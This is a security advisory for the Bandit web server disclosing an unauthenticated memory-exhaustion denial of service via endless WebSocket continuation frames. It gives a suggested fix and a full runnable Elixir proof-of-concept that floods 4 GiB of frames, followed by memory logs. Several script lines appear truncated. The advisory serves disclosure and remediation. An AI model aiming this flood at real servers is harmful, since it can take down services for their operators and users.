Bandit buffers unbounded WebSocket continuation frames, OOM-killing the host

High **mtrudel** published **GHSA-pf94-94m9-536p** 10 hours ago

Package

bandit (Erlang)

Affected versions

>= 0.5.0 and < 1.11.0

Patched versions

1.11.0

Description

Summary

A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today.

Details

The bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` — simply holding the connection open is enough to pin the bytes.

Suggested fix: track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append.

PoC

A self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each — also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms.

A correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded.

Impact

Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.

Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not.

The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.

Script and Logs

```
# Bandit WebSocket fragmented-message accumulation PoC.
#
# lib/bandit/websocket/connection.ex:80-95 appends every incoming
# Continuation{fin: false} frame's payload to connection.fragment_frame.data
# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*
# frame; a peer that streams an unbounded number of max-sized continuations
# without ever setting fin=1 grows the iolist linearly in BEAM memory until
# the OS kills the process. The eventual IO.iodata_to_binary/1 in the
# fin=true branch also momentarily doubles peak memory.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,
# sends one text frame with fin=0 followed by a continuous stream of
# continuation frames (also fin=0), and samples BEAM memory while doing so.
# A correct server would close the connection with 1009 once a configured
# max-message-size is exceeded; the buggy server keeps growing.
#
# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
```

```
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, [])
    |> Plug.Conn.halt()
  end
end

defmodule FragmentFlood do
  @port 4321
  @fragment_payload_bytes 1 * 1024 * 1024
  @fragment_count 4096
  @sample_every_ms 250

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    sampler_pid = spawn_link(&sample_memory_loop/0)

    payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes)
    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)
    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)

    log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).")
    :ok = :gen_tcp.send(sock, starting_text_frame)

    log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_by
    Enum.each(1..@fragment_count, fn index ->
      case :gen_tcp.send(sock, continuation_frame) do
        :ok ->
          if rem(index, 64) == 0 do
            log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragmen
          end

        {:error, reason} ->
          log("Server closed connection after #{index} continuations: #{inspect(reason)}
          throw(:server_closed)
      end
    end)
```

```
    log("Finished sending. Never sent fin=1 — server should still be holding the iolist.
    Process.sleep(2_000)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  catch
    :server_closed -> log("Server appears to enforce a cap — bug not present or mitigate
  end

  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake faile
    log("Handshake complete.")
    sock
  end

  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;
  # opcode is the low nibble. Client→server frames must be masked per RFC 6455.
  defp build_frame(opcode, fin, payload) do
    fin_bit = if fin, do: 1, else: 0
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_s
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<fin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::b
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(@sample_every_ms)
    sample_memory_loop()
  end
```

```
  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

FragmentFlood.run()
```

```
13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[11:04:30.812] Handshake complete.
[11:04:30.815] [mem] BEAM total = 49 MiB
[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).
[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).
[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).
[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).
[11:04:31.065] [mem] BEAM total = 185 MiB
[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).
[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).
[11:04:31.316] [mem] BEAM total = 322 MiB
[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).
[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).
[11:04:31.567] [mem] BEAM total = 463 MiB
[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).
[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).
[11:04:31.818] [mem] BEAM total = 602 MiB
[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).
[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).
[11:04:32.069] [mem] BEAM total = 743 MiB
[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).
[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).
[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).
[11:04:32.320] [mem] BEAM total = 887 MiB
[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).
[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).
[11:04:32.571] [mem] BEAM total = 1034 MiB
[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).
[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).
[11:04:32.822] [mem] BEAM total = 1179 MiB
[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).
[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).
[11:04:33.073] [mem] BEAM total = 1323 MiB
[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).
[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).
[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).
[11:04:33.324] [mem] BEAM total = 1466 MiB
[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).
[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).
[11:04:33.575] [mem] BEAM total = 1608 MiB
[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).
[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).
[11:04:33.826] [mem] BEAM total = 1758 MiB
[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).
[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).
[11:04:34.077] [mem] BEAM total = 1901 MiB
[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).
[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).
[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).
```

```
[11:04:34.328] [mem] BEAM total = 2048 MiB
[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).
[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).
[11:04:34.579] [mem] BEAM total = 2191 MiB
[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).
[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).
[11:04:34.830] [mem] BEAM total = 2342 MiB
[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).
[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).
[11:04:35.081] [mem] BEAM total = 2480 MiB
[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).
[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).
[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).
[11:04:35.332] [mem] BEAM total = 2620 MiB
[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).
[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).
[11:04:35.583] [mem] BEAM total = 2760 MiB
[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).
[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).
[11:04:35.834] [mem] BEAM total = 2903 MiB
[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).
[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).
[11:04:36.085] [mem] BEAM total = 3045 MiB
[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).
[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).
[11:04:36.336] [mem] BEAM total = 3184 MiB
[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).
[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).
[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).
[11:04:36.587] [mem] BEAM total = 3332 MiB
[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).
[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).
[11:04:36.838] [mem] BEAM total = 3463 MiB
[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).
[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).
[11:04:37.089] [mem] BEAM total = 3610 MiB
[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).
[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).
[11:04:37.340] [mem] BEAM total = 3735 MiB
[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).
[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).
[11:04:37.591] [mem] BEAM total = 3878 MiB
[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).
[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).
[11:04:37.842] [mem] BEAM total = 4012 MiB
[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).
[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).
[11:04:38.093] [mem] BEAM total = 4142 MiB
[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).
[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding
the iolist.
[11:04:38.344] [mem] BEAM total = 4149 MiB
[11:04:38.596] [mem] BEAM total = 4149 MiB
[11:04:38.847] [mem] BEAM total = 4149 MiB
[11:04:39.098] [mem] BEAM total = 4149 MiB
[11:04:39.349] [mem] BEAM total = 4149 MiB
```

```
[11:04:39.600] [mem] BEAM total = 4149 MiB
[11:04:39.851] [mem] BEAM total = 4149 MiB
[11:04:40.102] [mem] BEAM total = 4149 MiB
[11:04:40.106] Done.
```

Severity

High 8.7 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	High
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-42786

Weaknesses

▶ CWE-770

Credits

 **PJUllrich** Reporter

 **mtrudel** Remediation developer

maennchen Coordinator